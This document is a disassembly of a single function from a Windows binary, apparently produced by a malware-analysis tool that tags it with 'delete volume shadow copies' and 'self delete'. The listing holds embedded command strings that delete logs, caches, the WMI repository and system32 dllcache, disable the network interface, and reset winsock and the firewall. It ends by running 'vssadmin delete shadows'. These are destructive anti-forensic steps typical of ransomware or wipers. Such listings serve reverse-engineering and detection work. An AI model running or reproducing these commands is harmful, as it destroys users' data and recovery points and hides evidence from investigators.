Function at 0x140006080
Capabilities:
Delete directory
Delete volume shadow copies
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x31
lea rdx, [0x140117600]
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140006102
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a45
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x31
lea rdx, str.C:Program_FilesWindows_Media_Playerwmpnetw.dll
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140006172
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000616d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a4b
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor edi, edi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov r8d, 0x40
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftWindowsSettingSync_
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rdx, str.Excluindo_diret
lea rcx, [0x140452060]
call fcn.14000b130
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.14000e4a0
mov rcx, rax
call fcn.14000b3f0
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140006216
lea rdx, str.Erro_ao_excluir_diret
lea rcx, [0x140452320]
call fcn.14000b130
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007c00
mov rcx, rax
call fcn.14000b3f0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140006256
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006251
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a51
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov r8d, 0x50
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftWindowsExplorerThumbCacheToDelete_
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rdx, str.Excluindo_diret
lea rcx, [0x140452060]
call fcn.14000b130
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.14000e4a0
mov rcx, rax
call fcn.14000b3f0
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1400062f8
lea rdx, str.Erro_ao_excluir_diret
lea rcx, [0x140452320]
call fcn.14000b130
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007c00
mov rcx, rax
call fcn.14000b3f0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140006338
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006333
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a57
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov r8d, 0x49
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftTerminal_Server_ClientCache_
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rdx, str.Excluindo_diret
lea rcx, [0x140452060]
call fcn.14000b130
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.14000e4a0
mov rcx, rax
call fcn.14000b3f0
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1400063da
lea rdx, str.Erro_ao_excluir_diret
lea rcx, [0x140452320]
call fcn.14000b130
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007c00
mov rcx, rax
call fcn.14000b3f0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000641a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006415
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a5d
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov r8d, 0x3e
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftWindowsINetCache_
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rdx, str.Excluindo_diret
lea rcx, [0x140452060]
call fcn.14000b130
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.14000e4a0
mov rcx, rax
call fcn.14000b3f0
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1400064bc
lea rdx, str.Erro_ao_excluir_diret
lea rcx, [0x140452320]
call fcn.14000b130
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007c00
mov rcx, rax
call fcn.14000b3f0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1400064fc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a63
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x42
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftWindowsWebCache.log
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000656c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006567
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a69
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x19
lea rdx, str.C:windowslogscbs.log
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1400065dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a6f
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x32
lea rdx, str.C:Users_USERNAME_AppDataLocalCrashDumps.log
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000664c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006647
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a75
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x1d
lea rdx, str.C:WindowsLogsMoSetup.log
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1400066bc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a7b
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x18
lea rdx, str.C:WindowsPanther.log
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000672c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006727
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a81
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x14
lea rdx, str.C:Windowsinf.log
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000679c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006797
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a87
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x15
lea rdx, str.C:Windowslogs.log
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000680c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006807
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a8d
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x25
lea rdx, str.C:WindowsSoftwareDistribution.log
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000687c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006877
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a93
call fcn.1400ba390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x1e
lea rdx, str.C:WindowsMicrosoft.NET.log
lea rcx, [rbp - 0x20]
call fcn.14000bc40
nop
lea rcx, [rbp - 0x20]
call fcn.140005b90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1400068ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006a3f
call fcn.1400ba390
lea rcx, str.rd__s__q__C:MSOCache_
call fcn.140005f20
lea rcx, str.rd__s__q__C:UsersPublicShared_Files_
call fcn.140005f20
lea rcx, str.RunDll32.exe_InetCpl.cpl_ClearMyTracksByProcess_8
call fcn.140005f20
lea rcx, str.erase___LOCALAPPDATA_MicrosoftWindowsTempor1.___f__s__q
call fcn.140005f20
lea rcx, str.netsh_interface_set_interface__Local_Area_Connection__disable
call fcn.140005f20
lea rcx, str.del__a__q__s__C:Users_Username_AppDataLocalIconCache.db_
call fcn.140005f20
lea rcx, str.del__a__q__s__C:Users_Username_AppDataLocalupdater.log_
call fcn.140005f20
lea rcx, str.del__a__q__s__C:Users_Username_AppDataLocalIconCache.db_
call fcn.140005f20
lea rcx, str.del___localappdata_MicrosoftFeeds___s__f__q
call fcn.140005f20
lea rcx, str.del__s__f__q_C:WindowsPublicLibraries.
call fcn.140005f20
lea rcx, str.del__s__f__q__windir__system32dllcache.
call fcn.140005f20
lea rcx, str.rd__s__q__windir__system32dllcache
call fcn.140005f20
lea rcx, str.md__windir__system32dllcache
call fcn.140005f20
lea rcx, str.rmdir__s__q___systemdrive_WindowsSystem32wbemRepositoryOBJECTS.DATA._
call fcn.140005f20
lea rcx, str.rmdir__s__q___systemdrive_WindowsSystem32wbemRepositoryINDEX.BTR._
call fcn.140005f20
lea rcx, str.rmdir__s__q___systemdrive_WindowsSystem32wbemRepositoryMAPPING3.MAP._
call fcn.140005f20
lea rcx, str.ipconfig__flushdns
call fcn.1400c8014
lea rcx, str.netsh_interface_ip_delete_arpcache
call fcn.1400c8014
lea rcx, str.certutil__URLCache__delete
call fcn.1400c8014
lea rcx, str.netsh_winsock_reset
call fcn.1400c8014
lea rcx, str.netsh_advfirewall_reset
call fcn.1400c8014
lea rcx, str.ipconfig__flushdns
call fcn.1400c8014
lea rcx, str.netsh_interface_ip_delete_arpcache
call fcn.1400c8014
lea rcx, str.certutil__URLCache__delete
call fcn.1400c8014
lea rcx, str.netsh_winsock_reset
call fcn.1400c8014
lea rcx, str.netsh_advfirewall_reset
call fcn.1400c8014
lea rcx, str.vssadmin_delete_shadows
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x40
pop rbp
jmp fcn.1400c8014
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3
call fcn.1400c975c
int3